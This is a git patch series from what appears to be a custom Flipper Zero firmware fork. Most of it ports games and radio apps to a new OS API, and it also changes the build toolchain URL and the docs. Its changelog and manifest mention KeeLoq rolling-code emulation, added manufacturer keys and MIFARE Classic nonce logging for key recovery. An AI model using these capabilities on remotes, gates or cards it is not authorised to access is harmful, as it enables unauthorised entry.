arkanoid_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { furi_assert(event_queue); GameEvent event = {.type = EventTypeKey, .input = *input_event}; - osMessageQueuePut(event_queue, &event, 0, osWaitForever); + furi_message_queue_put(event_queue, &event, FuriWaitForever); } -static void arkanoid_update_timer_callback(osMessageQueueId_t event_queue) { +static void arkanoid_update_timer_callback(FuriMessageQueue* event_queue) { furi_assert(event_queue); GameEvent event = {.type = EventTypeTick}; - osMessageQueuePut(event_queue, &event, 0, 0); + furi_message_queue_put(event_queue, &event, 0); } int32_t arkanoid_game_app(void* p) { @@ -323,7 +323,7 @@ int32_t arkanoid_game_app(void* p) { // Set random seed from interrupts srand(DWT->CYCCNT); - osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(GameEvent), NULL); + FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(GameEvent)); ArkanoidState* arkanoid_state = malloc(sizeof(ArkanoidState)); arkanoid_state_init(arkanoid_state); @@ -340,9 +340,9 @@ int32_t arkanoid_game_app(void* p) { view_port_draw_callback_set(view_port, arkanoid_draw_callback, &state_mutex); view_port_input_callback_set(view_port, arkanoid_input_callback, event_queue); - osTimerId_t timer = - osTimerNew(arkanoid_update_timer_callback, osTimerPeriodic, event_queue, NULL); - osTimerStart(timer, osKernelGetTickFreq() / 22); + FuriTimer* timer = + furi_timer_alloc(arkanoid_update_timer_callback, FuriTimerTypePeriodic, event_queue); + furi_timer_start(timer, furi_kernel_get_tick_frequency() / 22); // Open GUI and register view_port Gui* gui = furi_record_open("gui"); @@ -350,10 +350,10 @@ int32_t arkanoid_game_app(void* p) { GameEvent event; for(bool processing = true; processing;) { - osStatus_t event_status = osMessageQueueGet(event_queue, &event, NULL, 100); + FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); ArkanoidState* arkanoid_state = (ArkanoidState*)acquire_mutex_block(&state_mutex); - if(event_status == osOK) { + if(event_status == FuriStatusOk) { // Key events if(event.type == EventTypeKey) { if(event.input.type == InputTypePress || event.input.type == InputTypeLong || @@ -402,11 +402,14 @@ int32_t arkanoid_game_app(void* p) { release_mutex(&state_mutex, arkanoid_state); } + furi_timer_free(timer); view_port_enabled_set(view_port, false); gui_remove_view_port(gui, view_port); furi_record_close("gui"); view_port_free(view_port); - osMessageQueueDelete(event_queue); + furi_message_queue_free(event_queue); + delete_mutex(&state_mutex); + free(arkanoid_state); return 0; } \ No newline at end of file diff --git a/applications/clock_app/clock_app.c b/applications/clock_app/clock_app.c index cb4017e24..1d4c3667c 100644 --- a/applications/clock_app/clock_app.c +++ b/applications/clock_app/clock_app.c @@ -26,10 +26,10 @@ typedef struct { FuriHalRtcDateTime datetime; } ClockState; -static void clock_input_callback(InputEvent* input_event, osMessageQueueId_t event_queue) { +static void clock_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { furi_assert(event_queue); PluginEvent event = {.type = EventTypeKey, .input = *input_event}; - osMessageQueuePut(event_queue, &event, 0, osWaitForever); + furi_message_queue_put(event_queue, &event, FuriWaitForever); } static void clock_render_callback(Canvas* const canvas, void* ctx) { @@ -260,7 +260,7 @@ const NotificationSequence clock_alert_startStop = { // Runs every 1000ms by default static void clock_tick(void* ctx) { furi_assert(ctx); - osMessageQueueId_t event_queue = ctx; + FuriMessageQueue* event_queue = ctx; PluginEvent event = {.type = EventTypeTick}; if(timerStarted) { timerSecs = timerSecs + 1; @@ -310,7 +310,7 @@ static void clock_tick(void* ctx) { } } // It's OK to loose this event if system overloaded - osMessageQueuePut(event_queue, &event, 0, 0); + furi_message_queue_put(event_queue, &event, 0); } int32_t clock_app(void* p) { @@ -318,7 +318,7 @@ int32_t clock_app(void* p) { timerStarted = false; timerSecs = 0; songSelect = 2; - osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(PluginEvent), NULL); + FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); ClockState* plugin_state = malloc(sizeof(ClockState)); clock_state_init(plugin_state); ValueMutex state_mutex; @@ -331,17 +331,17 @@ int32_t clock_app(void* p) { ViewPort* view_port = view_port_alloc(); view_port_draw_callback_set(view_port, clock_render_callback, &state_mutex); view_port_input_callback_set(view_port, clock_input_callback, event_queue); - osTimerId_t timer = osTimerNew(clock_tick, osTimerPeriodic, event_queue, NULL); - osTimerStart(timer, osKernelGetTickFreq()); + FuriTimer* timer = furi_timer_alloc(clock_tick, FuriTimerTypePeriodic, event_queue); + furi_timer_start(timer, furi_kernel_get_tick_frequency()); // Open GUI and register view_port Gui* gui = furi_record_open("gui"); gui_add_view_port(gui, view_port, GuiLayerFullscreen); // Main loop PluginEvent event; for(bool processing = true; processing;) { - osStatus_t event_status = osMessageQueueGet(event_queue, &event, NULL, 100); + FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); ClockState* plugin_state = (ClockState*)acquire_mutex_block(&state_mutex); - if(event_status == osOK) { + if(event_status == FuriStatusOk) { // press events if(event.type == EventTypeKey) { if(event.input.type == InputTypeShort || event.input.type == InputTypeRepeat) { @@ -394,11 +394,13 @@ int32_t clock_app(void* p) { view_port_update(view_port); release_mutex(&state_mutex, plugin_state); } - osTimerDelete(timer); + furi_timer_free(timer); view_port_enabled_set(view_port, false); gui_remove_view_port(gui, view_port); furi_record_close("gui"); view_port_free(view_port); - osMessageQueueDelete(event_queue); + furi_message_queue_free(event_queue); + delete_mutex(&state_mutex); + return 0; } \ No newline at end of file diff --git a/applications/music_player/music_player_worker.c b/applications/music_player/music_player_worker.c index 51e8860f9..f7b9e0704 100644 --- a/applications/music_player/music_player_worker.c +++ b/applications/music_player/music_player_worker.c @@ -78,7 +78,7 @@ static int32_t music_player_worker_thread_callback(void* context) { furi_hal_speaker_stop(); furi_hal_speaker_start(frequency, volume); - while(instance->should_work && furi_hal_get_tick() < next_tick) { + while(instance->should_work && furi_get_tick() < next_tick) { volume *= 1.0000000; furi_hal_speaker_set_volume(volume); furi_delay_ms(2); diff --git a/applications/spectrum_analyzer/spectrum_analyzer.c b/applications/spectrum_analyzer/spectrum_analyzer.c index 1002b58a6..386459a75 100644 --- a/applications/spectrum_analyzer/spectrum_analyzer.c +++ b/applications/spectrum_analyzer/spectrum_analyzer.c @@ -28,9 +28,9 @@ typedef struct { typedef struct { SpectrumAnalyzerModel* model; - osMutexId_t* model_mutex; + FuriMutex* model_mutex; - osMessageQueueId_t event_queue; + FuriMessageQueue* event_queue; ViewPort* view_port; Gui* gui; @@ -89,7 +89,7 @@ void spectrum_analyzer_draw_scale(Canvas* canvas, const SpectrumAnalyzerModel* m static void spectrum_analyzer_render_callback(Canvas* const canvas, void* ctx) { SpectrumAnalyzer* spectrum_analyzer = ctx; - //furi_check(osMutexAcquire(spectrum_analyzer->model_mutex, osWaitForever) == osOK); + //furi_check(furi_mutex_acquire(spectrum_analyzer->model_mutex, FuriWaitForever) == FuriStatusOk); SpectrumAnalyzerModel* model = spectrum_analyzer->model; @@ -167,7 +167,7 @@ static void spectrum_analyzer_render_callback(Canvas* const canvas, void* ctx) { canvas_draw_str_aligned(canvas, 127, 0, AlignRight, AlignTop, temp_str); } - //osMutexRelease(spectrum_analyzer->model_mutex); + //furi_mutex_release(spectrum_analyzer->model_mutex); // FURI_LOG_D("Spectrum", "model->vscroll %u", model->vscroll); } @@ -176,7 +176,7 @@ static void spectrum_analyzer_input_callback(InputEvent* input_event, void* ctx) SpectrumAnalyzer* spectrum_analyzer = ctx; // Only handle short presses if(input_event->type == InputTypeShort) { - osMessageQueuePut(spectrum_analyzer->event_queue, input_event, 0, osWaitForever); + furi_message_queue_put(spectrum_analyzer->event_queue, input_event, FuriWaitForever); } } @@ -187,7 +187,7 @@ static void spectrum_analyzer_worker_callback( uint8_t max_rssi_channel, void* context) { SpectrumAnalyzer* spectrum_analyzer = context; - furi_check(osMutexAcquire(spectrum_analyzer->model_mutex, osWaitForever) == osOK); + furi_check(furi_mutex_acquire(spectrum_analyzer->model_mutex, FuriWaitForever) == FuriStatusOk); SpectrumAnalyzerModel* model = (SpectrumAnalyzerModel*)spectrum_analyzer->model; memcpy(model->channel_ss, (uint8_t*)channel_ss, sizeof(uint8_t) * NUM_CHANNELS); @@ -195,7 +195,7 @@ static void spectrum_analyzer_worker_callback( model->max_rssi_dec = max_rssi_dec; model->max_rssi_channel = max_rssi_channel; - osMutexRelease(spectrum_analyzer->model_mutex); + furi_mutex_release(spectrum_analyzer->model_mutex); view_port_update(spectrum_analyzer->view_port); } @@ -354,8 +354,8 @@ SpectrumAnalyzer* spectrum_analyzer_alloc() { model->vscroll = DEFAULT_VSCROLL; - instance->model_mutex = osMutexNew(NULL); - instance->event_queue = osMessageQueueNew(8, sizeof(InputEvent), NULL); + instance->model_mutex = furi_mutex_alloc(FuriMutexTypeNormal); + instance->event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); instance->worker = spectrum_analyzer_worker_alloc(); @@ -382,9 +382,9 @@ void spectrum_analyzer_free(SpectrumAnalyzer* instance) { spectrum_analyzer_worker_free(instance->worker); - osMessageQueueDelete(instance->event_queue); + furi_message_queue_free(instance->event_queue); - osMutexDelete(instance->model_mutex); + furi_mutex_free(instance->model_mutex); free(instance->model); free(instance); @@ -400,15 +400,15 @@ int32_t spectrum_analyzer_app(void* p) { InputEvent input; FURI_LOG_D("Spectrum", "Main Loop - Starting worker"); - furi_hal_delay_ms(50); + furi_delay_ms(50); spectrum_analyzer_worker_start(spectrum_analyzer->worker); FURI_LOG_D("Spectrum", "Main Loop - Wait on queue"); - furi_hal_delay_ms(50); + furi_delay_ms(50); - while(osMessageQueueGet(spectrum_analyzer->event_queue, &input, NULL, osWaitForever) == osOK) { - furi_check(osMutexAcquire(spectrum_analyzer->model_mutex, osWaitForever) == osOK); + while(furi_message_queue_get(spectrum_analyzer->event_queue, &input, FuriWaitForever) == FuriStatusOk) { + furi_check(furi_mutex_acquire(spectrum_analyzer->model_mutex, FuriWaitForever) == FuriStatusOk); FURI_LOG_D("Spectrum", "Main Loop - Input: %u", input.key); @@ -480,7 +480,7 @@ int32_t spectrum_analyzer_app(void* p) { model->mode_change = true; view_port_update(spectrum_analyzer->view_port); - furi_hal_delay_ms(1000); + furi_delay_ms(1000); model->mode_change = false; spectrum_analyzer_calculate_frequencies(model); @@ -493,7 +493,7 @@ int32_t spectrum_analyzer_app(void* p) { break; } - osMutexRelease(spectrum_analyzer->model_mutex); + furi_mutex_release(spectrum_analyzer->model_mutex); view_port_update(spectrum_analyzer->view_port); if(exit_loop == true) break; } diff --git a/applications/spectrum_analyzer/spectrum_analyzer_worker.c b/applications/spectrum_analyzer/spectrum_analyzer_worker.c index 3e182071b..0ef37cb0d 100644 --- a/applications/spectrum_analyzer/spectrum_analyzer_worker.c +++ b/applications/spectrum_analyzer/spectrum_analyzer_worker.c @@ -75,7 +75,7 @@ static int32_t spectrum_analyzer_worker_thread(void* context) { }; while(instance->should_work) { - furi_hal_delay_ms(50); + furi_delay_ms(50); // FURI_LOG_T("SpectrumWorker", "spectrum_analyzer_worker_thread: Worker Loop"); furi_hal_subghz_idle(); @@ -93,7 +93,7 @@ static int32_t spectrum_analyzer_worker_thread(void* context) { furi_hal_subghz_set_frequency(instance->channel0_frequency + (ch * instance->spacing)); furi_hal_subghz_rx(); - furi_hal_delay_ms(3); + furi_delay_ms(3); // dec dBm //max_ss = 127 -> -10.5 diff --git a/applications/tetris_game/tetris_game.c b/applications/tetris_game/tetris_game.c index bf4332632..8c9e319b2 100644 --- a/applications/tetris_game/tetris_game.c +++ b/applications/tetris_game/tetris_game.c @@ -66,7 +66,7 @@ typedef struct { uint16_t numLines; uint16_t fallSpeed; GameState gameState; - osTimerId_t timer; + FuriTimer* timer; } TetrisState; typedef enum { @@ -158,11 +158,11 @@ static void tetris_game_render_callback(Canvas* const canvas, void* ctx) { release_mutex((ValueMutex*)ctx, tetris_state); } -static void tetris_game_input_callback(InputEvent* input_event, osMessageQueueId_t event_queue) { +static void tetris_game_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { furi_assert(event_queue); TetrisEvent event = {.type = EventTypeKey, .input = *input_event}; - osMessageQueuePut(event_queue, &event, 0, osWaitForever); + furi_message_queue_put(event_queue, &event, FuriWaitForever); } static void tetris_game_init_state(TetrisState* tetris_state) { @@ -173,7 +173,7 @@ static void tetris_game_init_state(TetrisState* tetris_state) { memcpy(&tetris_state->currPiece, &shapes[rand() % 7], sizeof(tetris_state->currPiece)); - osTimerStart(tetris_state->timer, tetris_state->fallSpeed); + furi_timer_start(tetris_state->timer, tetris_state->fallSpeed); } static void tetris_game_remove_curr_piece(TetrisState* tetris_state) { @@ -282,11 +282,11 @@ static bool tetris_game_piece_at_bottom(TetrisState* tetris_state, Piece* newPie return false; } -static void tetris_game_update_timer_callback(osMessageQueueId_t event_queue) { +static void tetris_game_update_timer_callback(FuriMessageQueue* event_queue) { furi_assert(event_queue); TetrisEvent event = {.type = EventTypeTick}; - osMessageQueuePut(event_queue, &event, 0, osWaitForever); + furi_message_queue_put(event_queue, &event, FuriWaitForever); } static void @@ -297,7 +297,7 @@ static void if(wasDownMove) { if(tetris_game_piece_at_bottom(tetris_state, newPiece)) { - osTimerStop(tetris_state->timer); + furi_timer_stop(tetris_state->timer); tetris_game_render_curr_piece(tetris_state); uint8_t numLines = 0; @@ -332,7 +332,7 @@ static void tetris_state->gameState = GameStateGameOver; } else { memcpy(&tetris_state->currPiece, spawnedPiece, sizeof(tetris_state->currPiece)); - osTimerStart(tetris_state->timer, tetris_state->fallSpeed); + furi_timer_start(tetris_state->timer, tetris_state->fallSpeed); } } } @@ -347,7 +347,7 @@ static void int32_t tetris_game_app() { srand(DWT->CYCCNT); - osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(TetrisEvent), NULL); + FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(TetrisEvent)); TetrisState* tetris_state = malloc(sizeof(TetrisState)); @@ -376,7 +376,7 @@ int32_t tetris_game_app() { gui_add_view_port(gui, view_port, GuiLayerFullscreen); tetris_state->timer = - osTimerNew(tetris_game_update_timer_callback, osTimerPeriodic, event_queue, NULL); + furi_timer_alloc(tetris_game_update_timer_callback, FuriTimerTypePeriodic, event_queue); tetris_game_init_state(tetris_state); TetrisEvent event; @@ -386,7 +386,7 @@ int32_t tetris_game_app() { for(bool processing = true; processing;) { // This 10U implicitly sets the game loop speed. downRepeatCounter relies on this value - osStatus_t event_status = osMessageQueueGet(event_queue, &event, NULL, 10U); + FuriStatus event_status = furi_message_queue_get(event_queue, &event, 10U); TetrisState* tetris_state = (TetrisState*)acquire_mutex_block(&state_mutex); @@ -405,7 +405,7 @@ int32_t tetris_game_app() { } } - if(event_status == osOK) { + if(event_status == FuriStatusOk) { if(event.type == EventTypeKey) { if(event.input.type == InputTypePress || event.input.type == InputTypeLong || event.input.type == InputTypeRepeat) { @@ -456,12 +456,12 @@ int32_t tetris_game_app() { release_mutex(&state_mutex, tetris_state); } - osTimerDelete(tetris_state->timer); + furi_timer_free(tetris_state->timer); view_port_enabled_set(view_port, false); gui_remove_view_port(gui, view_port); furi_record_close("gui"); view_port_free(view_port); - osMessageQueueDelete(event_queue); + furi_message_queue_free(event_queue); delete_mutex(&state_mutex); vTaskPrioritySet(timer_task, origTimerPrio); free(newPiece); diff --git a/applications/tictactoe_game/tictactoe_game.c b/applications/tictactoe_game/tictactoe_game.c index 368e0042a..beded349f 100644 --- a/applications/tictactoe_game/tictactoe_game.c +++ b/applications/tictactoe_game/tictactoe_game.c @@ -32,7 +32,7 @@ typedef enum { GameStatePlaying, GameStateGameOver } GameState; typedef struct { GameState game_state; - osTimerId_t timer; + FuriTimer* timer; } TicTacToeState; typedef struct { @@ -253,23 +253,23 @@ static void tictactoe_draw_callback(Canvas* const canvas, void* ctx) { release_mutex((ValueMutex*)ctx, tictactoe_state); } -static void tictactoe_input_callback(InputEvent* input_event, osMessageQueueId_t event_queue) { +static void tictactoe_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { furi_assert(event_queue); GameEvent event = {.type = EventTypeKey, .input = *input_event}; - osMessageQueuePut(event_queue, &event, 0, osWaitForever); + furi_message_queue_put(event_queue, &event, FuriWaitForever); } -static void tictactoe_update_timer_callback(osMessageQueueId_t event_queue) { +static void tictactoe_update_timer_callback(FuriMessageQueue* event_queue) { furi_assert(event_queue); GameEvent event = {.type = EventTypeTick}; - osMessageQueuePut(event_queue, &event, 0, 0); + furi_message_queue_put(event_queue, &event, 0); } int32_t tictactoe_game_app(void* p) { UNUSED(p); - osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(GameEvent), NULL); + FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(GameEvent)); TicTacToeState* tictactoe_state = malloc(sizeof(TicTacToeState)); @@ -277,7 +277,7 @@ int32_t tictactoe_game_app(void* p) { if(!init_mutex(&state_mutex, tictactoe_state, sizeof(TicTacToeState))) { FURI_LOG_E(TAG, "Cannot create mutex\r\n"); free(tictactoe_state); - osMessageQueueDelete(event_queue); + furi_message_queue_free(event_queue); return 255; } @@ -287,8 +287,8 @@ int32_t tictactoe_game_app(void* p) { view_port_input_callback_set(view_port, tictactoe_input_callback, event_queue); tictactoe_state->timer = - osTimerNew(tictactoe_update_timer_callback, osTimerPeriodic, event_queue, NULL); - osTimerStart(tictactoe_state->timer, osKernelGetTickFreq() / 22); + furi_timer_alloc(tictactoe_update_timer_callback, FuriTimerTypePeriodic, event_queue); + furi_timer_start(tictactoe_state->timer, furi_kernel_get_tick_frequency() / 22); tictactoe_state_init(tictactoe_state); @@ -298,10 +298,10 @@ int32_t tictactoe_game_app(void* p) { GameEvent event; for(bool processing = true; processing;) { - osStatus_t event_status = osMessageQueueGet(event_queue, &event, NULL, 100); + FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); TicTacToeState* tictactoe_state = (TicTacToeState*)acquire_mutex_block(&state_mutex); - if(event_status == osOK) { + if(event_status == FuriStatusOk) { // Key events if(event.type == EventTypeKey) { if(event.input.type == InputTypePress) { @@ -336,12 +336,12 @@ int32_t tictactoe_game_app(void* p) { release_mutex(&state_mutex, tictactoe_state); } - osTimerDelete(tictactoe_state->timer); + furi_timer_free(tictactoe_state->timer); view_port_enabled_set(view_port, false); gui_remove_view_port(gui, view_port); furi_record_close("gui"); view_port_free(view_port); - osMessageQueueDelete(event_queue); + furi_message_queue_free(event_queue); delete_mutex(&state_mutex); free(tictactoe_state); diff --git a/applications/unirfremix/unirfremix_app.c b/applications/unirfremix/unirfremix_app.c index 37b069b8e..6119529ba 100644 --- a/applications/unirfremix/unirfremix_app.c +++ b/applications/unirfremix/unirfremix_app.c @@ -15,9 +15,9 @@ #define TAG "UniRF Remix" typedef struct { - osMutexId_t* model_mutex; + FuriMutex* model_mutex; - osMessageQueueId_t input_queue; + FuriMessageQueue* input_queue; ViewPort* view_port; Gui* gui; @@ -710,7 +710,7 @@ static void unirfremix_send_signal( notification_message(notification, &sequence_blink_magenta_10); printf("Sending..."); fflush(stdout); - osDelay(333); + furi_delay_ms(300); } furi_record_close("notification"); @@ -729,7 +729,7 @@ static void unirfremix_send_signal( } static void unirfremix_process_signal(UniRFRemix* app, string_t signal) { - osMutexRelease(app->model_mutex); + furi_mutex_release(app->model_mutex); view_port_update(app->view_port); FURI_LOG_I(TAG, "signal = %s", string_get_cstr(signal)); @@ -772,7 +772,7 @@ static void unirfremix_process_signal(UniRFRemix* app, string_t signal) { static void render_callback(Canvas* canvas, void* ctx) { UniRFRemix* app = ctx; - furi_check(osMutexAcquire(app->model_mutex, osWaitForever) == osOK); + furi_check(furi_mutex_acquire(app->model_mutex, FuriWaitForever) == FuriStatusOk); //setup different canvas settings if(app->file_result == 1) { @@ -857,21 +857,21 @@ static void render_callback(Canvas* canvas, void* ctx) { canvas, 125, 62, AlignRight, AlignBottom, int_to_char(app->repeat)); } - osMutexRelease(app->model_mutex); + furi_mutex_release(app->model_mutex); } static void input_callback(InputEvent* input_event, void* ctx) { UniRFRemix* app = ctx; - osMessageQueuePut(app->input_queue, input_event, 0, osWaitForever); + furi_message_queue_put(app->input_queue, input_event, FuriWaitForever); } UniRFRemix* unirfremix_alloc() { UniRFRemix* app = malloc(sizeof(UniRFRemix)); - app->model_mutex = osMutexNew(NULL); + app->model_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - app->input_queue = osMessageQueueNew(32, sizeof(InputEvent), NULL); + app->input_queue = furi_message_queue_alloc(32, sizeof(InputEvent)); app->view_port = view_port_alloc(); view_port_draw_callback_set(app->view_port, render_callback, app); @@ -902,9 +902,9 @@ void unirfremix_free(UniRFRemix* app) { furi_record_close("gui"); view_port_free(app->view_port); - osMessageQueueDelete(app->input_queue); + furi_message_queue_free(app->input_queue); - osMutexDelete(app->model_mutex); + furi_mutex_free(app->model_mutex); free(app); } @@ -952,13 +952,13 @@ int32_t unirfremix_app(void* p) { app->button = 0; //refresh screen to update variables before processing main screen or error screens - osMutexRelease(app->model_mutex); + furi_mutex_release(app->model_mutex); view_port_update(app->view_port); //input detect loop start InputEvent input; while(1) { - furi_check(osMessageQueueGet(app->input_queue, &input, NULL, osWaitForever) == osOK); + furi_check(furi_message_queue_get(app->input_queue, &input, FuriWaitForever) == FuriStatusOk); FURI_LOG_I( TAG, "key: %s type: %s", @@ -1080,11 +1080,11 @@ int32_t unirfremix_app(void* p) { } if(exit_loop == true) { - osMutexRelease(app->model_mutex); + furi_mutex_release(app->model_mutex); break; } - osMutexRelease(app->model_mutex); + furi_mutex_release(app->model_mutex); view_port_update(app->view_port); } } else { @@ -1093,7 +1093,7 @@ int32_t unirfremix_app(void* p) { InputEvent input; while(1) { - furi_check(osMessageQueueGet(app->input_queue, &input, NULL, osWaitForever) == osOK); + furi_check(furi_message_queue_get(app->input_queue, &input, FuriWaitForever) == FuriStatusOk); FURI_LOG_I( TAG, "key: %s type: %s", @@ -1119,11 +1119,11 @@ int32_t unirfremix_app(void* p) { } if(exit_loop == true) { - osMutexRelease(app->model_mutex); + furi_mutex_release(app->model_mutex); break; } - osMutexRelease(app->model_mutex); + furi_mutex_release(app->model_mutex); view_port_update(app->view_port); } } From d4e8ad3a7271d720d67c8cdd4722dff730cbc19f Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Wed, 20 Jul 2022 19:11:00 +0300 Subject: [PATCH 393/461] update manifest --- assets/resources/Manifest | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index 16b8caa5e..93cd69238 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1658127287 +T:1658333443 D:badusb D:dolphin D:infrared @@ -232,7 +232,7 @@ F:41b4f08774249014cb8d3dffa5f5c07d:1757:nfc/assets/currency_code.nfc F:12674515290ad9edcabc82f7695350f8:50737:nfc/assets/mf_classic_dict.nfc D:subghz/assets F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo -F:788eef2cc74e29f3388463d6607dab0d:3264:subghz/assets/keeloq_mfcodes +F:111d2b8df83e27fd889fc5e270297865:3231:subghz/assets/keeloq_mfcodes F:9214f9c10463b746a27e82ce0b96e040:465:subghz/assets/keeloq_mfcodes_user F:653bd8d349055a41e1152e557d4a52d3:202:subghz/assets/nice_flor_s F:48c763d616f95e319388e62e0d7cc49f:850:subghz/assets/setting_user From 4584e7bc8db2bd60503811ce67ad252a5887f056 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Wed, 20 Jul 2022 21:25:02 +0300 Subject: [PATCH 394/461] use custom url in builds --- .drone.yml | 5 ++++- fbt | 2 ++ scripts/toolchain/unix-toolchain-download.sh | 14 ++++++++++++-- 3 files changed, 18 insertions(+), 3 deletions(-) diff --git a/.drone.yml b/.drone.yml index a4b235caf..39c265d5f 100644 --- a/.drone.yml +++ b/.drone.yml @@ -22,17 +22,20 @@ steps: - mv dist/f7-C/* artifacts-default/ - ls -laS artifacts-default - ls -laS artifacts-default/f7-update-${DRONE_TAG} + environment: + FBT_TOOLS_CUSTOM_LINK: + from_secret: fbt_link - name: 'Bundle resources' image: kramos/alpine-zip commands: - - tar czpf artifacts-default/flipper-z-any-resources-${DRONE_TAG}.tgz -C assets resources - mkdir sd-card - mkdir -p sd-card/subghz/assets - mkdir -p sd-card/nfc/assets - mkdir -p sd-card/infrared/assets - cp assets/resources/subghz/assets/universal_rf_map sd-card/subghz/assets/universal_rf_map - cp assets/resources/subghz/assets/setting_user sd-card/subghz/assets/setting_user + - cp assets/resources/subghz/assets/keeloq_mfcodes sd-card/subghz/assets/keeloq_mfcodes - cp assets/resources/nfc/assets/mf_classic_dict.nfc sd-card/nfc/assets/mf_classic_dict.nfc - cp assets/resources/infrared/assets/tv.ir sd-card/infrared/assets/tv.ir - cp assets/resources/Manifest sd-card/Manifest diff --git a/fbt b/fbt index 0ea572b12..1bb19abb8 100755 --- a/fbt +++ b/fbt @@ -8,10 +8,12 @@ SCONS_DEFAULT_FLAGS="-Q --warn=target-not-built"; SCRIPT_PATH="$(cd "$(dirname "$0")" && pwd -P)"; if [ -z "${FBT_NOENV:-}" ]; then + echo "info: FBT_NOENV is not set, using included toolchain env"; . "$SCRIPT_PATH/scripts/toolchain/fbtenv.sh"; fi if [ -z "${FBT_NO_SYNC:-}" ]; then + echo "info: FBT_NO_SYNC is not set, running git submodule update"; if [ ! -d "$SCRIPT_PATH/.git" ]; then echo "\".git\" directory not found, please clone repo via \"git clone --recursive\""; exit 1; diff --git a/scripts/toolchain/unix-toolchain-download.sh b/scripts/toolchain/unix-toolchain-download.sh index 386be2a3c..aee8efe99 100755 --- a/scripts/toolchain/unix-toolchain-download.sh +++ b/scripts/toolchain/unix-toolchain-download.sh @@ -11,11 +11,21 @@ check_system() SYS_TYPE="$(uname -s)" if [ "$SYS_TYPE" = "Darwin" ]; then echo "darwin"; - TOOLCHAIN_URL="https://update.flipperzero.one/builds/toolchain/gcc-arm-none-eabi-10.3-x86_64-darwin-flipper-$VER.tar.gz"; + if [ -z "${FBT_TOOLS_CUSTOM_LINK:-}" ]; then + TOOLCHAIN_URL="https://update.flipperzero.one/builds/toolchain/gcc-arm-none-eabi-10.3-x86_64-darwin-flipper-$VER.tar.gz"; + else + echo "info: custom toolchain link is used"; + TOOLCHAIN_URL=$FBT_TOOLS_CUSTOM_LINK; + fi TOOLCHAIN_PATH="toolchain/x86_64-darwin"; elif [ "$SYS_TYPE" = "Linux" ]; then echo "linux"; - TOOLCHAIN_URL="https://update.flipperzero.one/builds/toolchain/gcc-arm-none-eabi-10.3-x86_64-linux-flipper-$VER.tar.gz"; + if [ -z "${FBT_TOOLS_CUSTOM_LINK:-}" ]; then + TOOLCHAIN_URL="https://update.flipperzero.one/builds/toolchain/gcc-arm-none-eabi-10.3-x86_64-linux-flipper-$VER.tar.gz"; + else + echo "info: custom toolchain link is used"; + TOOLCHAIN_URL=$FBT_TOOLS_CUSTOM_LINK; + fi TOOLCHAIN_PATH="toolchain/x86_64-linux"; else echo "unsupported."; From e0e93202c9d03503c38b36b7561247349a89f331 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Wed, 20 Jul 2022 21:50:26 +0300 Subject: [PATCH 395/461] update changelog --- CHANGELOG.md | 26 +++++++++++++++----------- 1 file changed, 15 insertions(+), 11 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2e127e606..d1a880247 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,12 +1,16 @@ ### New changes -* An-Motors and HCS101 keeloq emulation -* FAAC SLH/Spa counter fix, now it uses 20-bits -* Keeloq increased hold duration -* OFW: Update bad_usb_script.c to fix incorrect ALT key -* OFW: SubGhz: add new keeloq protocols (IronLogic, Comunello, Sommer(fsk476), Normstahl, KEY, EcoStar, Gibidi, Mutancode) -* OFW: Better crash handling -* OFW: ibutton, Infrared, LFRFID GUI fixes -* OFW: Log MFC nonces for use with mfkey32v2 -* OFW: IR: increase raw timings amount -* OFW: Move files from /int to /ext on SD mount -* OFW: Embedded arm-none-eabi toolchain (+ fixed - fbt.cmd runs submodule update anyways ignoring FBT_NO_SYNC) +* FAAC SLH correct seed view +* Add new keys: FAAC SLH/Spa and BFT Mitto/Secure +* Some updates of custom apps, using furi now instead of cmsis(os) +* Some build changes +* OFW: Furi: core refactoring and CMSIS removal + +**Note: We changed version names, because our releases not based on official releases, now versions is called +cg-(commit-sha) - where "cg" = "Code Grabber" and (commit sha) - means ofw dev commit on which our version is based** + +Self-update package (update from microSD) - `flipper-z-f7-update-(version).zip` + +DFU for update using qFlipper - `flipper-z-f7-full-(version).dfu` + +If using DFU update method, download this archive and unpack it to your microSD, replacing all files except files you have edited manually - +`sd-card-(version).zip` \ No newline at end of file From ab72f69af493165ef6ec71f8bf5fdb6a0ee2b469 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Wed, 20 Jul 2022 21:57:03 +0300 Subject: [PATCH 396/461] update docs --- documentation/HowToBuild.md | 32 ++++++++++++++++++++++---------- documentation/HowToInstall.md | 2 +- 2 files changed, 23 insertions(+), 11 deletions(-) diff --git a/documentation/HowToBuild.md b/documentation/HowToBuild.md index 04eccf50d..a6b5b5b4e 100644 --- a/documentation/HowToBuild.md +++ b/documentation/HowToBuild.md @@ -37,19 +37,10 @@ Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. If compilation fails, make sure all submodules are all initialized. Either clone with `--recursive` or use `git submodule update --init --recursive`. -# Build on macOS +# Build on Linux/macOS Check out 